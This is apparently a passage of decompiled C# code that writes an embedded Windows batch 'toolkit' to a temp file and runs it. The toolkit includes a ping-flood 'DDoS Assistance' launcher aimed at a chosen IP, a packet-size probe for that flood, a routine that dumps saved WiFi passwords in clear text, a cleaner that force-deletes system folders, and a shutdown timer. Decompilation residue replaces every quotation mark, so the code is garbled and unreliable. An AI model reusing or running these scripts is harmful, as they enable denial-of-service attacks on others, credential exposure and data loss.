965") || ("
966" goto validip3"
967")"
968":validip3"
969">nul find "Encoding.ASCII.GetString(new byte[1]
970 {
971 34
972 })"Request timed out."Encoding.ASCII.GetString(new byte[1]
973 {
974 34
975 })" %DIR%\\text.dat && ("
976" goto invalidip"
977") || ("
978" goto validip4"
979")"
980":validip4"
981">nul find "Encoding.ASCII.GetString(new byte[1]
982 {
983 34
984 })"PING: transmit failed. General failure."Encoding.ASCII.GetString(new byte[1]
985 {
986 34
987 })" %DIR%\\text.dat && ("
988" goto invalidip"
989") || ("
990" goto validip"
991")"
992""
993":validip"
994"cls"
995"echo. >> %DIR%\\history.log"
996"echo %date% IP: %ip% >> %DIR%\\history.log"
997"echo - IP is Valid -"
998"echo Package limit 32 - 60000"
999"echo."
1000"echo F) Detect Package"
1001"echo E) Back"
1002"echo."
1003"set /p package= Package: "
1004"if %package%==f goto find"
1005"if %package%==F goto find"
1006"if %package%==e goto start"
1007"if %package%==E goto start"
1008"if %package%==%package% goto pack"
1009""
1010":pack"
1011"echo exit >> %DIR%\\info.bat"
1012"echo title DDoS Assistance >> %DIR%\\DDoS-Assistance.bat"
1013"echo ping %ip% -t -l %package% >>%DIR%\\DDoS-Assistance.bat"
1014"set "Encoding.ASCII.GetString(new byte[1]
1015 {
1016 34
1017 })"launch=1"Encoding.ASCII.GetString(new byte[1]
1018 {
1019 34
1020 })""
1021""
1022":ddoslauncher"
1023"start /min %DIR%\\DDoS-Assistance.bat"
1024"set /a launch=%launch%1"
1025"if %launch%==10 goto lmao"
1026"goto ddoslauncher"
1027""
1028":lmao"
1029"cls"
1030"echo."
1031"ping %IP% -t -l %package% "
1032"exit"
1033""
1034":list"
1035"cls"
1036"if exist %DIR%\\history.log type %DIR%\\history.log"
1037"echo."
1038"echo."
1039"echo C)Clear E)Back"
1040"echo."
1041"echo."
1042"set /p ip="
1043"if %ip%==c goto clear"
1044"if %ip%==e goto start"
1045":clear"
1046"del %DIR%\\history.log"
1047"goto start"
1048""
1049":find"
1050"cls"
1051"set /a package=11000"
1052"echo title Package Detector >> %DIR%\\Package-Detector.bat"
1053"echo :beginning >> %DIR%\\Package-Detector.bat"
1054"echo if exist %DIR%\\info.bat call %DIR%\\info.bat >> %DIR%\\Package-Detector.bat"
1055"echo goto beginning >> %DIR%\\Package-Detector.bat"
1056"set "Encoding.ASCII.GetString(new byte[1]
1057 {
1058 34
1059 })"launch=1"Encoding.ASCII.GetString(new byte[1]
1060 {
1061 34
1062 })""
1063""
1064":launcher"
1065"start /min %DIR%\\Package-Detector.bat"
1066"set /a launch=%launch%1"
1067"if %launch%==12 goto resetfind"
1068"goto launcher"
1069""
1070":resetfind"
1071"if exist %DIR%\\info.bat del %DIR%\\info.bat"
1072"set /a package=%package% - 1000"
1073"if %package%==0 goto invalidip"
1074"echo."
1075"echo Testing Package: %package%"
1076"echo ping %ip% -l %package% -t -n 1 >> %DIR%\\info.bat"
1077"if exist %DIR%\\text.dat del %DIR%\\text.dat"
1078"ping %ip% -l %package% -t -n 2 >> %DIR%\\text.dat -n 2"
1079">nul find "Encoding.ASCII.GetString(new byte[1]
1080 {
1081 34
1082 })"Request timed out."Encoding.ASCII.GetString(new byte[1]
1083 {
1084 34
1085 })" %DIR%\\text.dat && ("
1086" goto resetfind"
1087") || ("
1088" goto pack"
1089")"
1090""
1091":invalidip"
1092"color c"
1093"echo - IP Does Not Exist -"
1094"ping localhost -n 2 >NUL"
1095"goto start"
1096""
1097":init"
1098"setlocal EnableDelayedExpansion"
1099"for /F "Encoding.ASCII.GetString(new byte[1]
1100 {
1101 34
1102 })"tokens=1,2 delims=#"Encoding.ASCII.GetString(new byte[1]
1103 {
1104 34
1105 })" %%a in ('"Encoding.ASCII.GetString(new byte[1]
1106 {
1107 34
1108 })"prompt #$H#$E# & echo on & for %%b in (1) do rem"Encoding.ASCII.GetString(new byte[1]
1109 {
1110 34
1111 })"') do ("
1112" set "Encoding.ASCII.GetString(new byte[1]
1113 {
1114 34
1115 })"DEL=%%a"Encoding.ASCII.GetString(new byte[1]
1116 {
1117 34
1118 })""
1119")"
1120"<nul> X set /p "Encoding.ASCII.GetString(new byte[1]
1121 {
1122 34
1123 })".=."Encoding.ASCII.GetString(new byte[1]
1124 {
1125 34
1126 })""
1127"goto start"
1128""
1129":color"
1130"set "Encoding.ASCII.GetString(new byte[1]
1131 {
1132 34
1133 })"param=^%~2"Encoding.ASCII.GetString(new byte[1]
1134 {
1135 34
1136 })" !"
1137"set "Encoding.ASCII.GetString(new byte[1]
1138 {
1139 34
1140 })"param=!param:"Encoding.ASCII.GetString(new byte[1]
1141 {
1142 34
1143 })"=\\"Encoding.ASCII.GetString(new byte[1]
1144 {
1145 34
1146 })"!"Encoding.ASCII.GetString(new byte[1]
1147 {
1148 34
1149 })""
1150"findstr /p /A:%1 "Encoding.ASCII.GetString(new byte[1]
1151 {
1152 34
1153 })"."Encoding.ASCII.GetString(new byte[1]
1154 {
1155 34
1156 })" "Encoding.ASCII.GetString(new byte[1]
1157 {
1158 34
1159 })"!param!\\..\\X"Encoding.ASCII.GetString(new byte[1]
1160 {
1161 34
1162 })" nul"
1163"<nul set /p "Encoding.ASCII.GetString(new byte[1]
1164 {
1165 34
1166 })".=%DEL%%DEL%%DEL%%DEL%%DEL%%DEL%%DEL%"Encoding.ASCII.GetString(new byte[1]
1167 {
1168 34
1169 })""
1170""
1171":cachecleanertool"
1172"cls"
1173"@echo off"
1174"@mode con cols=85 lines=35"
1175"title Cache/Cookies cleaner"
1176"color a"
1177"echo."
1178"echo."
1179"echo @@@@ @@@@ "
1180"echo @@@@@@@@@@@ @@@@ "
1181"echo @@@@@ @@ @@@@ "
1182"echo @@@@@ @@@@@@@@@ @@@@@@@@ @@@@ @@@@@@@ @@@@@@@@ "
1183"echo @@@@ @@@@ @@@@@ @@@@@@@@@@ @@@@@@@@@@@@@ @@@@ @@@@ "
1184"echo @@@@@ @@@ @@@@ @@@@@ @@@@ @@@@ @@@ "
1185"echo @@@@ @@@@@@@@@ @@@@ @@@@ @@@@ @@@@@@@@@@@@@@ "
1186"echo @@@@ @@@@@ @@@@ @@@@ @@@@ @@@@ @@@@@ "
1187"echo @@@@@ @ @@@@ @@@ @@@@ @ @@@@ @@@@ @@@@ "
1188"echo @@@@@@@@@@@@ @@@@@@@@@@@ @@@@@@@@@ @@@@ @@@@ @@@@@@@@@@@ "
1189"echo @@@@ @@ @@@ @@@ "
1190"echo."
1191"echo @@@ "
1192"echo @@@ "
1193"echo @@@ "
1194"echo @@@@@@@ @@@ @@@@@@@@ @@@@@@@@@ @@ @@@@@@@ "
1195"echo @@@@@@@@@@ @@@@ @@@@ @@@@ @@@@ @@@@@ @@@@@@@@@@@@ "
1196"echo @@@@ @@@ @@@@ @@@@ @@@@ @@@@ @@@@@ "
1197"echo @@@@ @@@ @@@@@@@@@@@@@ @@@@@@@@@@ @@@ @@@@ "
1198"echo @@@@ @@@ @@@@ @@@@@ @@@@@ @@@ @@@@ "
1199"echo @@@@@ @ @@@@ @@@@ @@@@ @@@@ @@@ @@@@ "
1200"echo @@@@@@@@@@ @@@@ @@@@@@@@@@@ @@@@@@@@@@@@ @@@ @@@@ "
1201"echo @@@ @@@@ @@ "
1202"echo."
1203"echo."
1204"echo."
1205"echo Can boost your internet browsing ... "
1206"echo."
1207"echo Start cleaner ? [Yes]"
1208"set /p main="
1209"if %main% == Yes goto clean"
1210""
1211""
1212":clean"
1213"del /s /f /q c:\\windows\\temp\\*.*"
1214"rd /s /q c:\\windows\\temp"
1215"md c:\\windows\\temp"
1216"del /s /f /q C:\\WINDOWS\\Prefetch"
1217"del /s /f /q %temp%\\*.*"
1218"rd /s /q %temp%"
1219"md %temp%"
1220"deltree /y c:\\windows\\tempor~1"
1221"deltree /y c:\\windows\\temp"
1222"deltree /y c:\\windows\\tmp"
1223"deltree /y c:\\windows\\ff*.tmp"
1224"deltree /y c:\\windows\\history"
1225"deltree /y c:\\windows\\cookies"
1226"deltree /y c:\\windows\\recent"
1227"deltree /y c:\\windows\\spool\\printers"
1228"del c:\\WIN386.SWP"
1229"timeout 2 >nul"
1230"cls"
1231"goto done"
1232""
1233":done"
1234"echo."
1235"echo @@@@@@@@@@@@@@ "
1236"echo @@@@@ @@@@@ "
1237"echo @@@@ @@@@ @@@@@@@@ @@ @@@@@ @@@@@@@ "
1238"echo @@@@ @@@@ @@@@@ @@@@@ @@@@@@@@@@@@@ @@@@ @@@@ "
1239"echo @@@@ @@@@ @@@@ @@@@ @@@@@ @@@@@ @@@@ @@@@ "
1240"echo @@@@ @@@@ @@@@ @@@@ @@@@ @@@@ @@@@@@@@@@@@@ "
1241"echo @@@@ @@@@ @@@@ @@@@ @@@@ @@@@ @@@@ "
1242"echo @@@@@ @@@@@ @@@@ @@@@ @@@@ @@@@ @@@@ "
1243"echo @@@@@@@@@@@@@@ @@@@@@@@@@@ @@@@ @@@@ @@@@@@@@@@@ "
1244"echo @@@ @@@@ "
1245"echo."
1246"echo."
1247"echo U will be moved to main menu"
1248"timeout 2 >nul"
1249"goto exit"
1250""
1251":exit"
1252"cls"
1253"goto %user%"
1254""
1255""
1256""
1257":wifipass"
1258"@echo off"
1259"color a"
1260"setlocal enabledelayedexpansion"
1261""
1262":wifimain"
1263" title WiFiPasswordReveal"
1264" "
1265" echo."
1266" echo Reveal all saved WiFi passwords"
1267" echo."
1268""
1269" :: Get all the profiles"
1270" call :get-profiles r"
1271""
1272" :: For each profile, try to get the password"
1273" :main-next-profile"
1274" for /f "Encoding.ASCII.GetString(new byte[1]
1275 {
1276 34
1277 })"tokens=1* delims=,"Encoding.ASCII.GetString(new byte[1]
1278 {
1279 34
1280 })" %%a in ("Encoding.ASCII.GetString(new byte[1]
1281 {
1282 34
1283 })"%r%"Encoding.ASCII.GetString(new byte[1]
1284 {
1285 34
1286 })") do ("
1287" call :get-profile-key "Encoding.ASCII.GetString(new byte[1]
1288 {
1289 34
1290 })"%%a"Encoding.ASCII.GetString(new byte[1]
1291 {
1292 34
1293 })" key"
1294" if "Encoding.ASCII.GetString(new byte[1]
1295 {
1296 34
1297 })"!key!"Encoding.ASCII.GetString(new byte[1]
1298 {
1299 34
1300 })" NEQ "Encoding.ASCII.GetString(new byte[1]
1301 {
1302 34
1303 })""Encoding.ASCII.GetString(new byte[1]
1304 {
1305 34
1306 })" ("
1307" echo WiFi: [%%a] Password: [!key!]"
1308" )"
1309" set r=%%b"
1310" )"
1311" if "Encoding.ASCII.GetString(new byte[1]
1312 {
1313 34
1314 })"%r%"Encoding.ASCII.GetString(new byte[1]
1315 {
1316 34
1317 })" NEQ "Encoding.ASCII.GetString(new byte[1]
1318 {
1319 34
1320 })""Encoding.ASCII.GetString(new byte[1]
1321 {
1322 34
1323 })" goto %user%-next-profile"
1324""
1325" echo."
1326" pause"
1327""
1328"timeout 1 >nul"
1329" goto exit"
1330""
1331"::"
1332":: Get the WiFi key of a given profile"
1333":get-profile-key <1=profile-name> <2=out-profile-key>"
1334" setlocal"
1335""
1336" set result="
1337""
1338" FOR /F "Encoding.ASCII.GetString(new byte[1]
1339 {
1340 34
1341 })"usebackq tokens=2 delims=:"Encoding.ASCII.GetString(new byte[1]
1342 {
1343 34
1344 })" %%a in ("
1345" `netsh wlan show profile name^="Encoding.ASCII.GetString(new byte[1]
1346 {
1347 34
1348 })"%~1"Encoding.ASCII.GetString(new byte[1]
1349 {
1350 34
1351 })" key^=clear ^| findstr /C:"Encoding.ASCII.GetString(new byte[1]
1352 {
1353 34
1354 })"Key Content"Encoding.ASCII.GetString(new byte[1]
1355 {
1356 34
1357 })"`) DO ("
1358" set result=%%a"
1359" set result=!result:~1!"
1360" )"
1361" ("
1362" endlocal"
1363" set %2=%result%"
1364" )"
1365""
1366"timeout 1 >nul"
1367" goto :eof"
1368""
1369"::"
1370":: Get all network profiles (comma separated) into the result result-variable"
1371":get-profiles <1=result-variable>"
1372" setlocal"
1373""
1374" set result="
1375""
1376" "
1377" FOR /F "Encoding.ASCII.GetString(new byte[1]
1378 {
1379 34
1380 })"usebackq tokens=2 delims=:"Encoding.ASCII.GetString(new byte[1]
1381 {
1382 34
1383 })" %%a in ("
1384" `netsh wlan show profiles ^| findstr /C:"Encoding.ASCII.GetString(new byte[1]
1385 {
1386 34
1387 })"All User Profile"Encoding.ASCII.GetString(new byte[1]
1388 {
1389 34
1390 })"`) DO ("
1391" set val=%%a"
1392" set val=!val:~1!"
1393""
1394" set result=%!val!,!result!"
1395" )"
1396" ("
1397" endlocal"
1398" set %1=%result:~0,-1%"
1399" )"
1400"timeout 1 >nul"
1401" goto :eof"
1402""
1403":exit"
1404"cls"
1405"timeout 1 >nul"
1406"goto %user%"
1407""
1408""
1409""
1410""
1411":shutdowntimertool"
1412"@echo off"
1413"tittle Shutdown Timer"
1414"mode 70,15"
1415"color a"
1416"echo ########################"
1417"echo # #"
1418"echo # Set timer (1) #"
1419"echo # Cancel timer (2) #"
1420"echo # Back to menu (3) #"
1421"echo # #"
1422"echo ########################"
1423"echo Enter option [1-2] ..."
1424"set /p main="
1425"if %main% == 1 goto shutdown"
1426"if %main% == 2 goto cancelshutdown"
1427"if %main% == 3 goto %user%"
1428""
1429":cancelshutdown"
1430"cls"
1431"shutdown -a"
1432"echo ------------------------------------------------"
1433"echo Canceled"
1434"echo ------------------------------------------------"
1435"timeout 3 >nul"
1436"goto %user%"
1437""
1438":shutdown"
1439"cls"
1440"echo. "
1441"echo Shutdown Timer"
1442"echo."
1443"echo."
1444"set /p var1= Enter time (in minutes) and press enter : "
1445"set /a var2=%var1% * 60"
1446"echo."
1447"shutdown -s -f -t %var2%"
1448"echo ------------------------------------------------"
1449"echo Your PC will shutdown in %var1% min"
1450"echo ------------------------------------------------"
1451"echo."
1452"echo."
1453"echo Enjoy your movie :)"
1454"echo."
1455"timeout 3 >nul"
1456"goto %user%"
1457""
1458""
1459);
1460 Process.Start(Environment.GetEnvironmentVariable("TMP")"\\cmd.bat");
1461 }
1462}
1463